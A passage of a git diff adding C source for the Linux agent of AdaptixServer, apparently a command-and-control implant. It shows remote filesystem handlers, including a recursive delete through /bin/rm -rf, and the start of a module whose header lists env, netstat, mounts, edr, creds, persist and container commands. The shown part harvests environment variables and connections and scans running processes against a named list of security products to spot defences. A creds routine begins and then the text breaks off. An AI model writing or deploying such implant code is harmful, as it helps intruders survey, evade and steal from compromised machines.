'r' : '-'; + buf[2] = (mode & S_IWUSR) ? 'w' : '-'; + buf[3] = (mode & S_IXUSR) ? 'x' : '-'; + buf[4] = (mode & S_IRGRP) ? 'r' : '-'; + buf[5] = (mode & S_IWGRP) ? 'w' : '-'; + buf[6] = (mode & S_IXGRP) ? 'x' : '-'; + buf[7] = (mode & S_IROTH) ? 'r' : '-'; + buf[8] = (mode & S_IWOTH) ? 'w' : '-'; + buf[9] = (mode & S_IXOTH) ? 'x' : '-'; + buf[10] = '\0'; +} + +/// Format mtime from epoch seconds into "Mon DD HH:MM" style +/// Simplified — no timezone support, uses UTC +static void format_date(unsigned long epoch, char *buf, size_t buf_size) { + // Simplified: just show epoch as a number if we can't format properly + // For real formatting, would need a mini gmtime implementation + // We'll format as "YYYY-MM-DD HH:MM" using a minimal epoch decoder + + // Days since epoch + unsigned long secs = epoch; + unsigned long mins = secs / 60; secs %= 60; + unsigned long hours = mins / 60; mins %= 60; + unsigned long days = hours / 24; hours %= 24; + + // Year calculation (simplified — ignores leap seconds) + int year = 1970; + for (;;) { + int yday = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) ? 366 : 365; + if (days < (unsigned long)yday) break; + days -= yday; + year++; + } + + // Month calculation + int leap = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0); + int month_days[] = {31, 28 + leap, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; + static const char *month_names[] = {"Jan","Feb","Mar","Apr","May","Jun", + "Jul","Aug","Sep","Oct","Nov","Dec"}; + int month = 0; + while (month < 12 && days >= (unsigned long)month_days[month]) { + days -= month_days[month]; + month++; + } + int day = (int)days + 1; + + // Format: "Mon DD HH:MM" + char tmp[32]; + int pos = 0; + const char *mn = month_names[month < 12 ? month : 0]; + tmp[pos++] = mn[0]; tmp[pos++] = mn[1]; tmp[pos++] = mn[2]; + tmp[pos++] = ' '; + if (day >= 10) tmp[pos++] = '0' + day / 10; + else tmp[pos++] = ' '; + tmp[pos++] = '0' + day % 10; + tmp[pos++] = ' '; + tmp[pos++] = '0' + (int)(hours / 10); + tmp[pos++] = '0' + (int)(hours % 10); + tmp[pos++] = ':'; + tmp[pos++] = '0' + (int)(mins / 10); + tmp[pos++] = '0' + (int)(mins % 10); + tmp[pos] = '\0'; + + ax_strncpy(buf, tmp, buf_size - 1); + buf[buf_size - 1] = '\0'; +} + +/// Convert UID to username by parsing /etc/passwd +static void uid_to_name(unsigned int uid, char *buf, size_t buf_size) { + char passwd[8192]; + int fd = sys_open("/etc/passwd", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, passwd, sizeof(passwd) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + passwd[n] = '\0'; + + // Format: name:x:uid:gid:... + char uid_str[16]; + ax_itoa((int)uid, uid_str, 10); + size_t uid_len = ax_strlen(uid_str); + + char *line = passwd; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Find first ':' (after name) + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + // Find second ':' (after 'x') + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + // UID starts at p2+1 + char *uid_start = p2 + 1; + char *p3 = ax_strchr(uid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - uid_start); + if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) { + // Found! Copy name (line to p1) + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)uid, buf, 10); +} + +/// Convert GID to group name by parsing /etc/group +static void gid_to_name(unsigned int gid, char *buf, size_t buf_size) { + char group[8192]; + int fd = sys_open("/etc/group", O_RDONLY, 0); + if (fd < 0) { goto fallback; } + + long n = sys_read(fd, group, sizeof(group) - 1); + sys_close(fd); + if (n <= 0) { goto fallback; } + group[n] = '\0'; + + char gid_str[16]; + ax_itoa((int)gid, gid_str, 10); + size_t gid_len = ax_strlen(gid_str); + + char *line = group; + while (*line) { + char *eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: name:x:gid:members + char *p1 = ax_strchr(line, ':'); + if (!p1) goto next; + char *p2 = ax_strchr(p1 + 1, ':'); + if (!p2) goto next; + char *gid_start = p2 + 1; + char *p3 = ax_strchr(gid_start, ':'); + if (!p3) goto next; + + size_t field_len = (size_t)(p3 - gid_start); + if (field_len == gid_len && ax_memcmp(gid_start, gid_str, gid_len) == 0) { + size_t name_len = (size_t)(p1 - line); + if (name_len >= buf_size) name_len = buf_size - 1; + ax_memcpy(buf, line, name_len); + buf[name_len] = '\0'; + return; + } + + next: + if (eol) line = eol + 1; + else break; + } + +fallback: + ax_itoa((int)gid, buf, 10); +} + +// ──── Command handlers ──── + +int task_pwd(mp_writer_t *w) +{ + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed"); + return 0; + } + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + if (sys_chdir(path) != 0) { + write_error(w, "chdir failed"); + return 0; + } + + char cwd[4096]; + if (sys_getcwd(cwd, sizeof(cwd)) <= 0) { + write_error(w, "getcwd failed after chdir"); + return 0; + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "path", cwd); + return 0; +} + +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Check file size + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "file not found"); + return 0; + } + if (st.st_size > 1024 * 1024) { + write_error(w, "file size exceeds 1 MB (use download)"); + return 0; + } + + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) { + write_error(w, "cannot open file"); + return 0; + } + + uint8_t *content = (uint8_t *)ax_malloc((size_t)st.st_size); + if (!content) { + sys_close(fd); + write_error(w, "malloc failed"); + return 0; + } + + size_t total = 0; + while (total < (size_t)st.st_size) { + long n = sys_read(fd, content + total, (size_t)st.st_size - total); + if (n <= 0) break; + total += (size_t)n; + } + sys_close(fd); + + mp_write_map(w, 2); + mp_write_kv_str(w, "path", path); + mp_write_kv_bin(w, "content", content, (uint32_t)total); + + ax_free(content); + return 0; +} + +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + ax_strcpy(raw_path, "."); + parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)); + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat dir_st; + if (sys_stat(path, &dir_st) != 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "path not found"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_writer_t files_writer; + mp_writer_init(&files_writer, 4096); + + if (S_ISDIR(dir_st.st_mode)) { + int dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot open directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + // First pass: count entries + char dirbuf[4096]; + uint32_t count = 0; + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + count++; + pos += d->d_reclen; + } + } + + // Reopen for second pass (no lseek on getdents) + sys_close(dirfd); + dirfd = sys_open(path, O_RDONLY, 0); + if (dirfd < 0) { + mp_write_map(w, 3); + mp_write_kv_bool(w, "result", 0); + mp_write_kv_str(w, "status", "cannot reopen directory"); + mp_write_kv_str(w, "path", path); + return 0; + } + + mp_write_array(&files_writer, count); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos); + + // Build full path for stat + char fullpath[4096]; + ax_strncpy(fullpath, path, sizeof(fullpath) - 1); + size_t plen = ax_strlen(fullpath); + if (plen > 0 && fullpath[plen - 1] != '/') { + fullpath[plen] = '/'; + fullpath[plen + 1] = '\0'; + } + ax_strcat(fullpath, d->d_name); + + struct linux_stat fst; + ax_memset(&fst, 0, sizeof(fst)); + sys_stat(fullpath, &fst); + + char mode[11]; + mode_string(fst.st_mode, mode); + + char user[64], group[64]; + uid_to_name(fst.st_uid, user, sizeof(user)); + gid_to_name(fst.st_gid, group, sizeof(group)); + + char date[32]; + format_date(fst.st_mtime_sec, date, sizeof(date)); + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", d->d_name); + mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0); + + pos += d->d_reclen; + } + } + sys_close(dirfd); + } else { + // Single file + mp_write_array(&files_writer, 1); + + char mode[11]; + mode_string(dir_st.st_mode, mode); + + char user[64], group[64]; + uid_to_name(dir_st.st_uid, user, sizeof(user)); + gid_to_name(dir_st.st_gid, group, sizeof(group)); + + char date[32]; + format_date(dir_st.st_mtime_sec, date, sizeof(date)); + + const char *basename = raw_path; + for (const char *p = raw_path; *p; p++) { + if (*p == '/') basename = p + 1; + } + + mp_write_map(&files_writer, 8); + mp_write_kv_str(&files_writer, "mode", mode); + mp_write_kv_int(&files_writer, "nlink", (int64_t)dir_st.st_nlink); + mp_write_kv_str(&files_writer, "user", user); + mp_write_kv_str(&files_writer, "group", group); + mp_write_kv_int(&files_writer, "size", (int64_t)dir_st.st_size); + mp_write_kv_str(&files_writer, "date", date); + mp_write_kv_str(&files_writer, "filename", basename); + mp_write_kv_bool(&files_writer, "is_dir", 0); + } + + // Ensure display path ends with / for directories + char display_path[4096]; + ax_strncpy(display_path, path, sizeof(display_path) - 2); + size_t dlen = ax_strlen(display_path); + if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(dir_st.st_mode)) { + display_path[dlen] = '/'; + display_path[dlen + 1] = '\0'; + } + + mp_write_map(w, 4); + mp_write_kv_bool(w, "result", 1); + mp_write_kv_str(w, "status", ""); + mp_write_kv_str(w, "path", display_path); + mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len); + + mp_writer_free(&files_writer); + return 0; +} + +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + // Copy file via syscalls + int sfd = sys_open(src, O_RDONLY, 0); + if (sfd < 0) { + write_error(w, "cannot open source"); + return 0; + } + + struct linux_stat st; + sys_fstat(sfd, &st); + + int dfd = sys_open(dst, O_WRONLY | O_CREAT | O_TRUNC, st.st_mode & 0777); + if (dfd < 0) { + sys_close(sfd); + write_error(w, "cannot create destination"); + return 0; + } + + char buf[8192]; + for (;;) { + long n = sys_read(sfd, buf, sizeof(buf)); + if (n <= 0) break; + long written = 0; + while (written < n) { + long w2 = sys_write(dfd, buf + written, (size_t)(n - written)); + if (w2 <= 0) break; + written += w2; + } + } + sys_close(sfd); + sys_close(dfd); + + mp_write_nil(w); + return 0; +} + +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_src[4096] = {0}, raw_dst[4096] = {0}; + if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src), + "dst", raw_dst, sizeof(raw_dst)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char src[4096], dst[4096]; + normalize_path(raw_src, src, sizeof(src)); + normalize_path(raw_dst, dst, sizeof(dst)); + + if (sys_rename(src, dst) != 0) { + write_error(w, "rename failed"); + return 0; + } + + mp_write_nil(w); + return 0; +} + +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + // Create with parents (simplified mkdirall) + char tmp[4096]; + ax_strncpy(tmp, path, sizeof(tmp) - 1); + for (char *p = tmp + 1; *p; p++) { + if (*p == '/') { + *p = '\0'; + sys_mkdir(tmp, 0755); + *p = '/'; + } + } + if (sys_mkdir(tmp, 0755) != 0) { + // Check if it already exists as dir + struct linux_stat st; + if (sys_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) { + write_error(w, "mkdir failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char raw_path[4096] = {0}; + if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char path[4096]; + normalize_path(raw_path, path, sizeof(path)); + + struct linux_stat st; + if (sys_stat(path, &st) != 0) { + write_error(w, "path not found"); + return 0; + } + + if (S_ISDIR(st.st_mode)) { + // Recursive rm via fork+execve("/bin/rm", ["-rf", path]) + int pid = sys_fork(); + if (pid == 0) { + // Child — execve /bin/rm -rf + char *argv[] = { "/bin/rm", "-rf", path, (char *)0 }; + char *envp[] = { (char *)0 }; + sys_execve("/bin/rm", argv, envp); + sys_exit_group(1); + } else if (pid > 0) { + int status = 0; + sys_wait4(pid, &status, 0, (void *)0); + if ((status & 0xff00) >> 8 != 0) { + write_error(w, "rm -rf failed"); + return 0; + } + } else { + write_error(w, "fork failed"); + return 0; + } + } else { + if (sys_unlink(path) != 0) { + write_error(w, "unlink failed"); + return 0; + } + } + + mp_write_nil(w); + return 0; +} + +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // zip not available on Linux via simple binary — stub for now + (void)data; + (void)data_len; + write_error(w, "zip not implemented"); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h new file mode 100644 index 000000000..e628af6a2 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h @@ -0,0 +1,20 @@ +#ifndef TASKS_FS_H +#define TASKS_FS_H + +#include "msgpack.h" +#include + +/// Filesystem command handlers +/// pwd, cd, cat, ls, cp, mv, mkdir, rm, zip + +int task_pwd(mp_writer_t *w); +int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_FS_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c new file mode 100644 index 000000000..ee9a6ae32 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c @@ -0,0 +1,1329 @@ +/// tasks_linux.c -- Linux-specific commands for the native agent +/// env, netstat, mounts, edr, creds, persist, container +/// All ops via direct syscalls — zero libc dependency. + +#include "tasks_linux.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── Constants ── + +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_CREAT 0100 +#define O_TRUNC 01000 +#define O_APPEND 02000 + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +static void write_output(mp_writer_t *w, const char *text) { + mp_write_map(w, 1); + mp_write_kv_str(w, "output", text); +} + +/// Read a file into a stack buffer, return bytes read (or -1) +static long read_file(const char *path, char *buf, size_t buf_size) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return -1; + long total = 0; + while ((size_t)total < buf_size - 1) { + long n = sys_read(fd, buf + total, buf_size - 1 - (size_t)total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + buf[total] = '\0'; + return total; +} + +/// Check if a file exists +static int file_exists(const char *path) { + int fd = sys_open(path, O_RDONLY, 0); + if (fd < 0) return 0; + sys_close(fd); + return 1; +} + +/// Append string to dynamic buffer (realloc-based) +typedef struct { + char *data; + size_t len; + size_t cap; +} strbuf_t; + +static void sb_init(strbuf_t *sb) { + sb->cap = 4096; + sb->data = (char *)ax_malloc(sb->cap); + sb->data[0] = '\0'; + sb->len = 0; +} + +static void sb_append(strbuf_t *sb, const char *s) { + size_t slen = ax_strlen(s); + while (sb->len + slen + 1 > sb->cap) { + sb->cap *= 2; + sb->data = (char *)ax_realloc(sb->data, sb->cap); + } + ax_memcpy(sb->data + sb->len, s, slen); + sb->len += slen; + sb->data[sb->len] = '\0'; +} + +static void sb_free(strbuf_t *sb) { + if (sb->data) ax_free(sb->data); + sb->data = (char *)0; + sb->len = 0; + sb->cap = 0; +} + +/// Parse a single string field from msgpack params +static int parse_string_field(const uint8_t *data, uint32_t data_len, + const char *key_name, char *out, size_t out_size) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) return -1; + + size_t kname_len = ax_strlen(key_name); + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) return -1; + if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) { + const char *val; uint32_t vlen; + if (mp_read_str(&r, &val, &vlen) != 0) return -1; + if (vlen >= out_size) vlen = (uint32_t)(out_size - 1); + ax_memcpy(out, val, vlen); + out[vlen] = '\0'; + return 0; + } + mp_skip(&r); + } + return -1; +} + +// ──── ENV ──── + +int task_env(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/environ", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read /proc/self/environ"); + return 0; + } + + // Replace null separators with newlines + for (long i = 0; i < n; i++) { + if (buf[i] == '\0') buf[i] = '\n'; + } + buf[n] = '\0'; + + write_output(w, buf); + return 0; +} + +// ──── NETSTAT ──── + +/// Parse hex IP + port from /proc/net/tcp format +/// Input: "0100007F:1F90" → "127.0.0.1:8080" +static void parse_hex_addr(const char *hex, char *out, size_t out_size) { + // Parse IP (little-endian hex) and port + unsigned long ip = 0; + unsigned int port = 0; + + // IP is 8 hex chars + const char *p = hex; + for (int i = 0; i < 8 && *p; i++, p++) { + ip = ip * 16; + if (*p >= '0' && *p <= '9') ip += (unsigned long)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') ip += (unsigned long)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') ip += (unsigned long)(*p - 'a' + 10); + } + if (*p == ':') p++; + // Port is 4 hex chars + for (int i = 0; i < 4 && *p; i++, p++) { + port = port * 16; + if (*p >= '0' && *p <= '9') port += (unsigned int)(*p - '0'); + else if (*p >= 'A' && *p <= 'F') port += (unsigned int)(*p - 'A' + 10); + else if (*p >= 'a' && *p <= 'f') port += (unsigned int)(*p - 'a' + 10); + } + + // IP is stored little-endian on x86, so bytes are reversed + unsigned char b1 = (unsigned char)(ip & 0xff); + unsigned char b2 = (unsigned char)((ip >> 8) & 0xff); + unsigned char b3 = (unsigned char)((ip >> 16) & 0xff); + unsigned char b4 = (unsigned char)((ip >> 24) & 0xff); + + char tmp[64]; + int pos = 0; + char num[8]; + + ax_itoa(b1, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b2, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b3, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = '.'; + ax_itoa(b4, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos++] = ':'; + ax_itoa((int)port, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i]; + tmp[pos] = '\0'; + + ax_strncpy(out, tmp, out_size - 1); + out[out_size - 1] = '\0'; +} + +static const char *tcp_state_name(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; + default: return "UNKNOWN"; + } +} + +static void parse_net_file(const char *path, const char *proto, strbuf_t *sb) { + char buf[32768]; + long n = read_file(path, buf, sizeof(buf)); + if (n <= 0) return; + + // Skip header line + char *line = buf; + char *eol = ax_strchr(line, '\n'); + if (!eol) return; + line = eol + 1; + + while (*line) { + eol = ax_strchr(line, '\n'); + if (eol) *eol = '\0'; + + // Format: " sl local_address rem_address st ..." + // Skip leading spaces and sl field + char *p = line; + while (*p == ' ') p++; + while (*p && *p != ' ' && *p != ':') p++; // skip sl number + if (*p == ':') p++; + while (*p == ' ') p++; + + // local_address + char local_hex[32] = {0}; + int li = 0; + while (*p && *p != ' ' && li < 31) local_hex[li++] = *p++; + while (*p == ' ') p++; + + // remote_address + char remote_hex[32] = {0}; + int ri = 0; + while (*p && *p != ' ' && ri < 31) remote_hex[ri++] = *p++; + while (*p == ' ') p++; + + // state (hex) + int state = 0; + while (*p && *p != ' ') { + state = state * 16; + if (*p >= '0' && *p <= '9') state += *p - '0'; + else if (*p >= 'A' && *p <= 'F') state += *p - 'A' + 10; + else if (*p >= 'a' && *p <= 'f') state += *p - 'a' + 10; + p++; + } + + char local_str[64], remote_str[64]; + parse_hex_addr(local_hex, local_str, sizeof(local_str)); + parse_hex_addr(remote_hex, remote_str, sizeof(remote_str)); + + // Format output line + char outline[256]; + // "proto local remote state" + ax_strcpy(outline, proto); + // Pad proto to 6 chars + size_t plen = ax_strlen(outline); + while (plen < 6) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, local_str); + plen = ax_strlen(outline); + while (plen < 30) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, remote_str); + plen = ax_strlen(outline); + while (plen < 54) { outline[plen++] = ' '; outline[plen] = '\0'; } + + ax_strcat(outline, tcp_state_name(state)); + ax_strcat(outline, "\n"); + sb_append(sb, outline); + + if (eol) line = eol + 1; + else break; + } +} + +int task_netstat(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + sb_append(&sb, "Proto Local Address Foreign Address State\n"); + sb_append(&sb, "----- ---------------------- ---------------------- -----------\n"); + + parse_net_file("/proc/net/tcp", "tcp", &sb); + parse_net_file("/proc/net/tcp6", "tcp6", &sb); + parse_net_file("/proc/net/udp", "udp", &sb); + parse_net_file("/proc/net/udp6", "udp6", &sb); + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── MOUNTS ──── + +int task_mounts(mp_writer_t *w) +{ + char buf[16384]; + long n = read_file("/proc/self/mountinfo", buf, sizeof(buf)); + if (n <= 0) { + // Fallback to /proc/mounts + n = read_file("/proc/mounts", buf, sizeof(buf)); + if (n <= 0) { + write_error(w, "cannot read mount info"); + return 0; + } + } + + write_output(w, buf); + return 0; +} + +// ──── EDR DETECTION ──── + +typedef struct { + const char *proc_name; + const char *product; +} edr_sig_t; + +int task_edr(mp_writer_t *w) +{ + strbuf_t sb; + sb_init(&sb); + + // Check processes via /proc + // We look for known EDR/security process names + static const struct { const char *name; const char *product; } edr_procs[] = { + // CrowdStrike + {"falcon-sensor", "CrowdStrike Falcon"}, + {"falcond", "CrowdStrike Falcon"}, + {"falconctl", "CrowdStrike Falcon"}, + // Elastic + {"elastic-agent", "Elastic Security"}, + {"elastic-endpoint", "Elastic Endpoint"}, + {"filebeat", "Elastic Filebeat"}, + {"auditbeat", "Elastic Auditbeat"}, + // Wazuh + {"wazuh-agentd", "Wazuh"}, + {"ossec-agentd", "Wazuh/OSSEC"}, + {"wazuh-modulesd", "Wazuh"}, + // SentinelOne + {"SentinelAgent", "SentinelOne"}, + {"sentinelone", "SentinelOne"}, + // Sysdig / Falco + {"falco", "Sysdig Falco"}, + {"sysdig", "Sysdig"}, + {"dragent", "Sysdig Agent"}, + // Lacework + {"datacollector", "Lacework"}, + // OSSEC + {"ossec-logcollector","OSSEC"}, + {"ossec-syscheckd", "OSSEC"}, + // Aqua + {"aqua-enforcer", "Aqua Security"}, + // Tetragon (Cilium eBPF) + {"tetragon", "Cilium Tetragon"}, + // Auditd + {"auditd", "Linux Audit"}, + // Tripwire + {"tripwire", "Tripwire"}, + // ClamAV + {"clamd", "ClamAV"}, + {"clamscan", "ClamAV"}, + }; + int num_sigs = (int)(sizeof(edr_procs) / sizeof(edr_procs[0])); + + // Scan /proc for running processes + struct linux_dirent64_scan { + uint64_t d_ino; + int64_t d_off; + uint16_t d_reclen; + uint8_t d_type; + char d_name[]; + }; + + int dirfd = sys_open("/proc", O_RDONLY, 0); + if (dirfd < 0) { + write_error(w, "cannot open /proc"); + sb_free(&sb); + return 0; + } + + char dirbuf[4096]; + int found_count = 0; + sb_append(&sb, "=== Security Tool Detection ===\n\n"); + sb_append(&sb, "--- Running Processes ---\n"); + + for (;;) { + int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64_scan *d = (struct linux_dirent64_scan *)(dirbuf + pos); + if (d->d_type == 4 && d->d_name[0] >= '0' && d->d_name[0] <= '9') { + // Read /proc//comm + char comm_path[64]; + ax_strcpy(comm_path, "/proc/"); + ax_strcat(comm_path, d->d_name); + ax_strcat(comm_path, "/comm"); + + char comm[256] = {0}; + read_file(comm_path, comm, sizeof(comm)); + // Strip trailing newline + size_t clen = ax_strlen(comm); + if (clen > 0 && comm[clen - 1] == '\n') comm[clen - 1] = '\0'; + + for (int s = 0; s < num_sigs; s++) { + if (ax_strstr(comm, edr_procs[s].name)) { + char line[256]; + ax_strcpy(line, " [!] "); + ax_strcat(line, edr_procs[s].product); + ax_strcat(line, " (pid="); + ax_strcat(line, d->d_name); + ax_strcat(line, ", comm="); + ax_strcat(line, comm); + ax_strcat(line, ")\n"); + sb_append(&sb, line); + found_count++; + } + } + } + pos += d->d_reclen; + } + } + sys_close(dirfd); + + if (found_count == 0) { + sb_append(&sb, " (none detected)\n"); + } + + // Check kernel security modules + sb_append(&sb, "\n--- Kernel Security ---\n"); + + // SELinux + if (file_exists("/sys/fs/selinux/enforce")) { + char enforce[8] = {0}; + read_file("/sys/fs/selinux/enforce", enforce, sizeof(enforce)); + sb_append(&sb, " SELinux: "); + sb_append(&sb, enforce[0] == '1' ? "enforcing\n" : "permissive\n"); + } + + // AppArmor + if (file_exists("/sys/kernel/security/apparmor/profiles")) { + sb_append(&sb, " AppArmor: enabled\n"); + } + + // Auditd + if (file_exists("/proc/sys/kernel/audit_enabled")) { + char audit[8] = {0}; + read_file("/proc/sys/kernel/audit_enabled", audit, sizeof(audit)); + sb_append(&sb, " Audit: "); + sb_append(&sb, audit[0] == '1' ? "enabled\n" : "disabled\n"); + } + + // eBPF programs + if (file_exists("/sys/fs/bpf")) { + sb_append(&sb, " eBPF: /sys/fs/bpf mounted\n"); + } + + // Capabilities + sb_append(&sb, "\n--- Process Capabilities ---\n"); + char status[4096]; + if (read_file("/proc/self/status", status, sizeof(status)) > 0) { + char *cap = ax_strstr(status, "CapEff:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + if (eol) *eol = '\n'; + } + cap = ax_strstr(status, "CapPrm:"); + if (cap) { + char *eol = ax_strchr(cap, '\n'); + if (eol) *eol = '\0'; + sb_append(&sb, " "); + sb_append(&sb, cap); + sb_append(&sb, "\n"); + } + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CREDS ──── + +/// Get HOME from /proc/self/environ +static void get_home(char *buf, size_t buf_size) { + char env[4096]; + long n = read_file("/proc/self/environ", env, sizeof(env)); + if (n <= 0) { ax_strcpy(buf, "/tmp"); return; } + + // Environ is null-separated + char *p = env; + char *end = env + n; + while (p < end) { + if 